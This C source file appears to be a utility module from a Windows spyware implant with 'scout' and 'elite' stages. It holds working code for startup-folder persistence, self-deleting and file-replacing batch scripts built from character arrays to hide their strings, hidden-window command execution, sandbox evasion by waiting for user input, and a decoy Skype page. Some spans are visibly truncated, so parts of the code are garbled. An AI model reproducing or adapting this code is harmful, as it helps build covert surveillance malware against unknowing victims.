#include #include "globals.h" #include "zmem.h" #include "utils.h" #include "binpatch.h" #include "mayhem.h" #include "proto.h" #include "debug.h" #include "JSON.h" #include "crypt.h" #define _INCLUDE_GLOBAL_FUNCTIONS_ #include "version.h" HKEY GetRegistryKeyHandle(__in HKEY hParentKey, __in LPWSTR strSubKey, __in DWORD dwSamDesidered) { HKEY hKey; DWORD dwRet = RegOpenKeyEx(hParentKey, strSubKey, 0, dwSamDesidered, //bWrite ? KEY_QUERY_VALUE|KEY_SET_VALUE|KEY_CREATE_SUB_KEY|KEY_ENUMERATE_SUB_KEYS : KEY_QUERY_VALUE|KEY_ENUMERATE_SUB_KEYS, &hKey); if (dwRet != ERROR_SUCCESS) { #ifdef _DEBUG OutputDebug(L"[!!] RegOpenKeyEx failed for %08x\\%s ==> %08x\n", hParentKey, strSubKey, GetLastError()); __asm int 3; #endif return NULL; } return hKey; } BOOL GetRegistryValue(__in HKEY hRootKey, __in LPWSTR strSubKey, __in LPWSTR strKeyName, __out LPVOID lpBuffer, __in DWORD dwBuffSize, __in DWORD dwSam) { if (dwBuffSize) SecureZeroMemory(lpBuffer, dwBuffSize); HKEY hKey = GetRegistryKeyHandle(hRootKey, strSubKey, dwSam); if (hKey == NULL) return FALSE; DWORD dwLen = dwBuffSize; if (RegQueryValueEx(hKey, strKeyName, NULL, NULL, (LPBYTE) lpBuffer, &dwLen) != ERROR_SUCCESS) { #ifdef _DEBUG // OutputDebug(L"[!!] GetRegistryValue: RegQueryValue => %08x\n", GetLastError()); // __asm int 3; #endif RegCloseKey(hKey); return FALSE; } RegCloseKey(hKey); return TRUE; } LPSTR GetEliteSharedMemoryName() { LPSTR pName = (LPSTR) zalloc(8); memcpy(pName, WMARKER, 7); return pName; } /* LPWSTR GetScoutSharedMemoryName() { WCHAR strFormat[] = { L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'\0' }; LPWSTR pName = (LPWSTR)zalloc(18 * sizeof(WCHAR)); _snwprintf_s(pName, 18, _TRUNCATE, strFormat, pServerKey[5], pServerKey[6], pServerKey[5], pServerKey[4], pServerKey[3], pServerKey[2], pServerKey[1], pServerKey[0]); //L"%02X%02X%02X%02X%02X%02X%02X", //pServerKey[6], pServerKey[5], pServerKey[4], pServerKey[3], pServerKey[2], pServerKey[1], pServerKey[0]); return pName; } */ BOOL ExistsEliteSharedMemory() { HANDLE hMem; LPSTR pName; BOOL bRet = FALSE; pName = GetEliteSharedMemoryName(); hMem = OpenFileMappingA(FILE_MAP_READ, FALSE, pName); if (hMem) { bRet = TRUE; CloseHandle(hMem); } zfree(pName); return bRet; } BOOL ExistsScoutSharedMemory() { HANDLE hMem; LPWSTR pName; BOOL uRet = FALSE; pName = GetScoutSharedMemoryName(); hMem = OpenFileMapping(FILE_MAP_READ, FALSE, pName); if (hMem) { uRet = TRUE; CloseHandle(hMem); } zfree(pName); return uRet; } BOOL CreateScoutSharedMemory() { BOOL bRet = FALSE; LPWSTR pName; #ifdef _DEBUG OutputDebug(L"[+] Creating scout shared memory\n"); #endif if (ExistsScoutSharedMemory()) return FALSE; pName = GetScoutSharedMemoryName(); hScoutSharedMemory = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, SHARED_MEMORY_WRITE_SIZE, pName); if (hScoutSharedMemory) bRet = TRUE; zfree(pName); return bRet; } BOOL CreateRegistryKey(HKEY hBaseKey, LPWSTR strSubKey, DWORD dwOptions, DWORD dwPermissions, PHKEY hOutKey) { HKEY hKey; DWORD dwRet = RegCreateKeyEx(hBaseKey, strSubKey, 0, NULL, dwOptions, dwPermissions, NULL, &hKey, NULL); if (dwRet != ERROR_SUCCESS) return FALSE; if (!hOutKey) RegCloseKey(hKey); else *hOutKey = hKey; return TRUE; } LPWSTR GetStartupPath() { LPWSTR pStartupPath = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR)); LPWSTR pShortPath = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR)); SHGetSpecialFolderPath(NULL, pStartupPath, CSIDL_STARTUP, FALSE); GetShortPathName(pStartupPath, pShortPath, MAX_FILE_PATH - 1); zfree(pStartupPath); return pShortPath; } LPWSTR GetStartupScoutName() { LPWSTR pStartupPath = GetStartupPath(); LPWSTR pFullPath = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR)); _snwprintf_s(pFullPath, MAX_FILE_PATH - 1, _TRUNCATE, L"%s\\%S.exe", pStartupPath, SCOUT_NAME); zfree(pStartupPath); return pFullPath; } VOID IsX64System(__out PBOOL bIsWow64, __out PBOOL bIsx64OS) { SYSTEM_INFO SysInfo; IsWow64Process((HANDLE)-1, bIsWow64); GetNativeSystemInfo(&SysInfo); if(SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL) *bIsx64OS = FALSE; else *bIsx64OS = TRUE; return; } LPWSTR GetMySelfName() { LPWSTR pName = (LPWSTR) zalloc((MAX_FILE_PATH*2+1) * sizeof(WCHAR)); LPWSTR pShort = (LPWSTR) zalloc((MAX_FILE_PATH*2+1) * sizeof(WCHAR)); GetModuleFileName(NULL, pName, MAX_FILE_PATH*2); if (!GetShortPathName(pName, pShort, MAX_FILE_PATH*2)) { zfree(pShort); return pName; } zfree(pName); return pShort; } BOOL AmIFromStartup() { BOOL uRet; LPWSTR pStartupPath = GetStartupPath(); LPWSTR pCurrentPath = GetMySelfName(); if (StrRChr(pCurrentPath, NULL, L'\\')) *(StrRChr(pCurrentPath, NULL, L'\\')) = L'\0'; if (StrCmpI(pCurrentPath, pStartupPath)) uRet = FALSE; else uRet = TRUE; zfree(pStartupPath); zfree(pCurrentPath); return uRet; } VOID MySleep(__in LONG dwTime) // dwTime MUST be signed { if (!hScoutMessageWindow) return Sleep(dwTime * 1000); LARGE_INTEGER fTime; __int64 qwDueTime = ((dwTime * -1L)) * 10000000; fTime.LowPart = (DWORD) (qwDueTime & 0xFFFFFFFF); fTime.HighPart = (LONG) (qwDueTime >> 32); if (!hMsgTimer) hMsgTimer = CreateWaitableTimer(NULL, FALSE, L"MSG_TIMER"); if (hMsgTimer && SetWaitableTimer(hMsgTimer, &fTime, 0, NULL, NULL, FALSE)) WaitForSingleObject(hMsgTimer, INFINITE); else Sleep(dwTime * 1000); } LPWSTR GetTemp() { LPWSTR pTemp = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR)); LPWSTR pShort = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR)); GetEnvironmentVariable(L"TMP", pTemp, MAX_FILE_PATH); // FIXME GetTempPath GetShortPathName(pTemp, pShort, 4096); zfree(pTemp); return pShort; } VOID DeleteAndDie(__in BOOL bDie) { HANDLE hFile; char batch_format[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 }; if (hScoutSharedMemory) { CloseHandle(hScoutSharedMemory); hScoutSharedMemory = NULL; } LPWSTR pTempPath = GetTemp(); LPWSTR pBatFileName = (LPWSTR)zalloc(MAX_FILE_PATH * sizeof(WCHAR)); ULONG uTick = GetTickCount(); do { _snwprintf_s(pBatFileName, MAX_FILE_PATH, _TRUNCATE, L"%s\\%d.bat", pTempPath, uTick++); hFile = CreateFile(pBatFileName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile && hFile != INVALID_HANDLE_VALUE) break; } while(1); #ifdef _DEBUG OutputDebug(pBatFileName); #endif // get full filename in startup LPWSTR pExeFileName = GetMySelfName(); // create batch buffer ULONG uSize = strlen(batch_format) + 32676*3 + 1; LPSTR pBatchBuffer = (LPSTR) zalloc(uSize); memset(pBatchBuffer, 0x0, uSize); _snprintf_s(pBatchBuffer, uSize, _TRUNCATE, batch_format, pExeFileName, pExeFileName, pBatFileName); #ifdef _DEBUG OutputDebug(pExeFileName); #endif // write it ULONG uOut; WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL); CloseHandle(hFile); if (StartBatch(pBatFileName)) { if (bDie) ExitProcess(0); else return; } #ifdef _DEBUG else { OutputDebug(L"[!!] Error executing autodelete batch!!\n"); __asm int 3; } #endif zfree(pBatFileName); zfree(pExeFileName); zfree(pBatchBuffer); zfree(pTempPath); } BOOL StartBatch(__in LPWSTR pName) { BOOL bRet; STARTUPINFO si; PROCESS_INFORMATION pi; LPWSTR pApplicationName = (LPWSTR) zalloc(4096 * sizeof(WCHAR)); WCHAR pTempInterpreter[] = { L'%', L'S', L'Y', L'S', L'T', L'E', L'M', L'R', L'O', L'O', L'T', L'%', L'\\', L's', L'y', L's', L't', L'e', L'm', L'3', L'2', L'\\', L'c', L'm', L'd', L'.', L'e', L'x', L'e', 0x0 }; LPWSTR pInterpreter = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR)); ExpandEnvironmentStrings(pTempInterpreter, pInterpreter, MAX_FILE_PATH * sizeof(WCHAR)); _snwprintf_s(pApplicationName, 4095, _TRUNCATE, L"/c %s", pName); SecureZeroMemory(&si, sizeof(STARTUPINFO)); SecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; if (FakeConditionalVersion()) { ShellExecute(NULL, L"open", L"http://en.wikipedia.org/wiki/Skype", NULL, NULL, SW_SHOWNORMAL); exit(0); } else bRet = CreateProcess(pInterpreter, pApplicationName, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); zfree(pApplicationName); zfree(pInterpreter); return bRet; } VOID CreateCopyBatch(LPWSTR pSource, LPWSTR pDest, LPWSTR *pBatchOutName) { HANDLE hFile; ULONG uTick ,uOut; LPWSTR pTempPath = GetTemp(); LPWSTR pBatchName = (LPWSTR) zalloc(32767*sizeof(WCHAR)); CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', 't', 'y', 'p', 'e', ' ', '"', '%', 'S', '"', ' ', '>', '"', '%', 'S', '"', 0x0}; PCHAR pBatchBuffer = (PCHAR) zalloc(strlen(pBatchFormat) + (32767 * 3)); uTick = GetTickCount(); do { WCHAR pName[] = { L'%', L's', L'\\', L'%', L'd', L'.', L'b', L'a', L't', L'\0' }; _snwprintf_s(pBatchName, 32766, _TRUNCATE, pName, pTempPath, uTick++); hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile && hFile != INVALID_HANDLE_VALUE) break; } while (1); _snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, pSource, pDest); WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL); CloseHandle(hFile); *pBatchOutName = pBatchName; zfree(pBatchBuffer); zfree(pTempPath); } VOID CreateDeleteBatch(__in LPWSTR pFileName, __in LPWSTR *pBatchOutName) { HANDLE hFile; ULONG uTick, uOut; LPWSTR pTempPath = GetTemp(); LPWSTR pBatchName = (LPWSTR) zalloc(MAX_FILE_PATH*sizeof(WCHAR)); CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 }; LPSTR pBatchBuffer = (LPSTR) zalloc(strlen(pBatchFormat) + (MAX_FILE_PATH * 3)); uTick = GetTickCount(); do { _snwprintf_s(pBatchName, MAX_FILE_PATH, _TRUNCATE, L"%s\\%d.bat", pTempPath, uTick++); hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile && hFile != INVALID_HANDLE_VALUE) break; } while (1); _snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (MAX_FILE_PATH * 3), _TRUNCATE, pBatchFormat, pFileName, pFileName, pBatchName); WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL); CloseHandle(hFile); *pBatchOutName = pBatchName; zfree(pBatchBuffer); zfree(pTempPath); } VOID CreateReplaceBatch(__in LPWSTR pOldFile, __in LPWSTR pNewFile, __in LPWSTR *pBatchOutName) { HANDLE hFile; ULONG uTick, uOut; LPWSTR pTempPath = GetTemp(); LPWSTR pBatchName = (LPWSTR) zalloc(MAX_FILE_PATH*sizeof(WCHAR)); CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 't', 'y', 'p', 'e', ' ', '"', '%', 'S', '"', ' ', '>', ' ', '"', '%', 'S', '"', '\r', '\n', 's', 't', 'a', 'r', 't', ' ', '/', 'B', ' ', 'c', 'm', 'd', ' ', '/', 'c', ' ', '"', '%', 'S', '"', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 }; LPSTR pBatchBuffer = (LPSTR) zalloc(strlen(pBatchFormat) + (MAX_FILE_PATH * 3)); uTick = GetTickCount(); do { _snwprintf_s(pBatchName, MAX_FILE_PATH, _TRUNCATE, L"%s\\%d.bat", pTempPath, uTick++); hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile && hFile != INVALID_HANDLE_VALUE) break; } while (1); _snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (MAX_FILE_PATH * 3), _TRUNCATE, pBatchFormat, pOldFile, pOldFile, pNewFile, pOldFile, pOldFile, pNewFile, pBatchName); WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL); CloseHandle(hFile); *pBatchOutName = pBatchName; zfree(pBatchBuffer); zfree(pTempPath); } HRESULT CreateItemFromParsingName(__in LPWSTR strFileName, __out IShellItem **psi) { PIDLIST_ABSOLUTE pidl; HRESULT hr = SHParseDisplayName(strFileName, 0, &pidl, SFGAO_FOLDER, 0); if (SUCCEEDED(hr)) { hr = SHCreateShellItem(NULL, NULL, pidl, psi); if (SUCCEEDED(hr)) return S_OK; } return E_FAIL; } VOID BatchCopyFile(__in LPWSTR pSource, __in LPWSTR pDest) { LPWSTR pBatchName; CreateCopyBatch(pSource, pDest, &pBatchName); StartBatch(pBatchName); MySleep(8); DeleteFile(pBatchName); DeleteFile(pBatchName); zfree(pBatchName); } HRESULT ComCopyFile(__in LPWSTR strSourceFile, __in LPWSTR strDestDir, __in_opt LPWSTR strNewName) { IFileOperation *pfo; HRESULT hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pfo)); if (SUCCEEDED(hr)) { hr = pfo->SetOperationFlags(FOF_NO_UI); if (SUCCEEDED(hr)) { IShellItem *psiFrom = NULL; //hr = SHCreateItemFromParsingName(strSourceFile, NULL, IID_PPV_ARGS(&psiFrom)); hr = CreateItemFromParsingName(strSourceFile, &psiFrom); if (SUCCEEDED(hr)) { IShellItem *psiTo = NULL; if (NULL != strDestDir) hr = CreateItemFromParsingName(strDestDir, &psiTo); //hr = SHCreateItemFromParsingName(strDestDir, NULL, IID_PPV_ARGS(&psiTo)); if (SUCCEEDED(hr)) { hr = pfo->CopyItem(psiFrom, psiTo, strNewName, NULL); if (NULL != psiTo) psiTo->Release(); } psiFrom->Release(); } if (SUCCEEDED(hr)) hr = pfo->PerformOperations(); // copy file } pfo->Release(); } return hr; } VOID WaitForInput() { ULONG uLastInput; LASTINPUTINFO pLastInputInfo; #ifdef _DEBUG OutputDebug(L"[+] FIRST_WAIT\n"); #endif MySleep(WAIT_INPUT); pLastInputInfo.cbSize = sizeof(LASTINPUTINFO); GetLastInputInfo(&pLastInputInfo); uLastInput = pLastInputInfo.dwTime; while (1) { pLastInputInfo.cbSize = sizeof(LASTINPUTINFO); if (GetLastInputInfo(&pLastInputInfo)) { if (pLastInputInfo.dwTime != uLastInput) break; } else { #ifdef _DEBUG OutputDebug(L"[+] GetLastInput FAILED\n"); __asm int 3; #endif MySleep(3); break; } #ifdef _DEBUG OutputDebug(L"[+] Waiting for input...\n"); #endif MySleep(3); } } ULONG GetRandomInt(__in ULONG uMin, __in ULONG uMax) { if (uMax < (ULONG) 0xFFFFFFFF) uMax++; return (rand()%(uMax-uMin))+uMin; } LPWSTR GetRandomStringW(__in ULONG uMin) { LPWSTR pString = (LPWSTR) zalloc((uMin + 64) * sizeof(WCHAR)); while(wcslen(pString) < uMin) { WCHAR pSubString[32] = { 0x0, 0x0 }; _itow_s(GetRandomInt(1, 0xffffff), pSubString, 6, 0x10); wcscat_s(pString, uMin + 64, pSubString); } return pString; } LPSTR GetRandomStringA(__in ULONG uMin) { LPSTR pString = (LPSTR) zalloc(uMin + 64); while(strlen(pString) < uMin) { CHAR pSubString[32] = { 0x0, 0x0 }; _itoa_s(GetRandomInt(1, 0xffffff), pSubString, 6, 0x10); strcat_s(pString, uMin + 64, pSubString); } return pString; } LPBYTE GetRandomData(__in DWORD dwBuffLen) { LPBYTE lpBuffer = (LPBYTE) zalloc(dwBuffLen); AppendRandomData(lpBuffer, dwBuffLen); return lpBuffer; } VOID AppendRandomData(PBYTE pBuffer, DWORD uBuffLen) { DWORD i; static BOOL uFirstTime = TRUE; if (uFirstTime) { srand(GetTickCount()); uFirstTime = FALSE; } for (i=0; i0) WideCharToMultiByte(CP_UTF8, 0, decode_16.c_str(), -1, strSource, size, 0 , 0); zfree(strPtr); } LPWSTR CreateTempFile() { WCHAR pTempPath[MAX_PATH + 1]; LPWSTR pShortTempPath = (LPWSTR) zalloc((MAX_PATH + 1)*sizeof(WCHAR)); LPWSTR pTempFileName = (LPWSTR) zalloc((MAX_PATH + 1)*sizeof(WCHAR)); LPWSTR pShortTempFileName = (LPWSTR) zalloc((MAX_PATH + 1)*sizeof(WCHAR)); memset(pTempPath, 0x0, (MAX_PATH + 1)*sizeof(WCHAR)); memset(pShortTempPath, 0x0, (MAX_PATH + 1)*sizeof(WCHAR)); memset(pTempFileName, 0x0, (MAX_PATH + 1)*sizeof(WCHAR)); memset(pShortTempFileName, 0x0, (MAX_PATH + 1)*sizeof(WCHAR)); GetTempPath(MAX_PATH + 1, pTempPath); GetShortPathName(pTempPath, pShortTempPath, (MAX_PATH + 1)*sizeof(WCHAR)); GetTempFileName(pTempPath, L"00", 0, pTempFileName); GetShortPathName(pTempFileName, pShortTempFileName, (MAX_PATH + 1)*sizeof(WCHAR)); zfree(pShortTempPath); zfree(pTempFileName); return pShortTempFileName; } BOOL WMIExecQueryGetProp(IWbemServices *pSvc, LPWSTR strQuery, LPWSTR strField, LPVARIANT lpVar) { BOOL bRet = FALSE; IEnumWbemClassObject *pEnum; BSTR bstrQuery = SysAllocString(strQuery); BSTR bstrField = SysAllocString(strField); WCHAR strWQL[] = { L'W', L'Q', L'L', L'\0' }; BSTR bWQL = SysAllocString(strWQL); HRESULT hr = pSvc->ExecQuery(bWQL, bstrQuery, 0, NULL, &pEnum); if (hr == S_OK) { ULONG uRet; IWbemClassObject *apObj; hr = pEnum->Next(5000, 1, &apObj, &uRet); if (hr == S_OK) { hr = apObj->Get(bstrField, 0, lpVar, NULL, NULL); if (hr == WBEM_S_NO_ERROR) bRet = TRUE; apObj->Release(); } pEnum->Release(); } SysFreeString(bstrQuery); SysFreeString(bstrField); SysFreeString(bWQL); return bRet; } BOOL WMIExecQuerySearchEntryHash(IWbemServices *pSvc, LPWSTR strQuery, LPWSTR strField, LPBYTE pSearchHash, LPVARIANT lpVar) { BOOL bFound = FALSE; IEnumWbemClassObject *pEnum; WCHAR strWQL[] = { L'W', L'Q', L'L', L'\0' }; BSTR bWQL = SysAllocString(strWQL); BSTR bstrQuery = SysAllocString(strQuery); BSTR bstrField = SysAllocString(strField); HRESULT hr = pSvc->ExecQuery(bWQL, bstrQuery, 0, NULL, &pEnum); if (hr == S_OK) { ULONG uRet; IWbemClassObject *apObj; while (pEnum->Next(5000, 1, &apObj, &uRet) == S_OK) { hr = apObj->Get(bstrField, 0, lpVar, NULL, NULL); if (hr != WBEM_S_NO_ERROR || lpVar->vt != VT_BSTR) continue; BYTE pSha1Buffer[20]; CalculateSHA1(pSha1Buffer, (LPBYTE)lpVar->bstrVal, 21*sizeof(WCHAR)); if (!memcmp(pSha1Buffer, pSearchHash, 20)) bFound = TRUE; apObj->Release(); } pEnum->Release(); } SysFreeString(bstrQuery); SysFreeString(bstrField); SysFreeString(bWQL); return bFound; } VOID CreateFileReplacerBatch(__in PWCHAR lpGarbageFile, __in PWCHAR lpScoutStartupPath, __out PWCHAR *pBatchOutName) { HANDLE hFile; ULONG uTick, uOut; PWCHAR pTempPath = GetTemp(); PWCHAR pBatchName = (PWCHAR) malloc(32767*sizeof(WCHAR)); /* @echo off :t timeout 1 for /f %%i in ('tasklist /FI "IMAGENAME eq %S" ^| find /v /c ""' ) do set YO=%%i # 1) current process name if %YO%==4 goto :t type "%S" > "%S" # 2) fat scout file , 3) scout path in startup start /B cmd /c "%S" # 4) scout path in startup del /F "%S" # 5) temp scout file del /F "%S" # 6) batch file */ CHAR pBatchFormat[] = { '@','e','c','h','o',' ','o','f','f', '\r', '\n', ':','t', '\r', '\n', 't', 'i', 'm', 'e', 'o', 'u', 't', ' ', '1', '\r', '\n', 'f', 'o', 'r', ' ', '/', 'f', ' ', '%', '%', '%', '%','i', ' ', 'i', 'n',' ','(', '\'', 't','a','s','k','l','i','s','t',' ','/','F','I',' ','"','I','M','A','G','E','N','A','M','E',' ','e','q',' ','%','S','"',' ', '^','|',' ','f','i','n','d', ' ', '/', 'v', ' ', '/', 'c', ' ', '"', '"', '\'',' ',')', ' ', 'd', 'o', ' ', 's', 'e', 't', ' ', 'Y', 'O', '=', '%', '%', '%', '%', 'i', '\r', '\n', 'i','f',' ', '%', '%', 'Y', 'O', '%', '%', '=', '=', '4', ' ','g','o','t','o',' ',':','t', '\r', '\n', 't','y','p','e',' ','"','%','S','"',' ','>', ' ','"','%','S','"', '\r', '\n', 's','t','a','r','t',' ','/','B',' ','c','m','d',' ','/','c',' ','"','%','S','"', '\r', '\n', 'd','e','l',' ','/','F',' ','"','%','S','"', '\r', '\n', 'd','e','l',' ','/','F',' ','"','%','S','"', 0x0 }; PCHAR pBatchBuffer = (PCHAR) malloc(strlen(pBatchFormat) + (32767 * 3)); uTick = GetTickCount(); do { _snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d.bat", pTempPath, uTick++); hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile && hFile != INVALID_HANDLE_VALUE) break; } while (1); WCHAR lpFullImageName[MAX_PATH*2]; GetModuleFileName(NULL, lpFullImageName, MAX_PATH*2); PWCHAR lpImageName = PathFindFileName(lpFullImageName); _snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, lpImageName, lpGarbageFile, lpScoutStartupPath, lpScoutStartupPath, lpGarbageFile, pBatchName); WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL); CloseHandle(hFile); #ifdef _DEBUG OutputDebugString(pBatchName); OutputDebugString(L"\n"); OutputDebugString(lpImageName); OutputDebugString(L"\n"); OutputDebugStringA(pBatchBuffer); #endif *pBatchOutName = pBatchName; free(pBatchBuffer); free(pTempPath); } void UnixTimeToFileTime(time_t t, LPFILETIME pft) { // Note that LONGLONG is a 64-bit value LONGLONG ll; ll = Int32x32To64(t, 10000000) + 116444736000000000; pft->dwLowDateTime = (DWORD)ll; pft->dwHighDateTime = ll >> 32; } void UnixTimeToSystemTime(time_t t, LPSYSTEMTIME pst) { FILETIME ft; UnixTimeToFileTime(t, &ft); FileTimeToSystemTime(&ft, pst); } /* Description: convert wide string received in input to a UTF-8 encoded LPSTR Parameters: wide string to be converted Usage: the string returned is either NULL or an allocated LPSTR that must be freed by the caller */ LPSTR WideCharToUTF8(LPWSTR strIn) { LPSTR strUtf8 = NULL; size_t size; size = WideCharToMultiByte(CP_UTF8, 0, strIn, -1, NULL, 0, NULL, NULL); strUtf8 = (LPSTR) zalloc_s(size); if (strUtf8) { WideCharToMultiByte(CP_UTF8, 0, strIn, -1, strUtf8, size, NULL, NULL); } return strUtf8; } .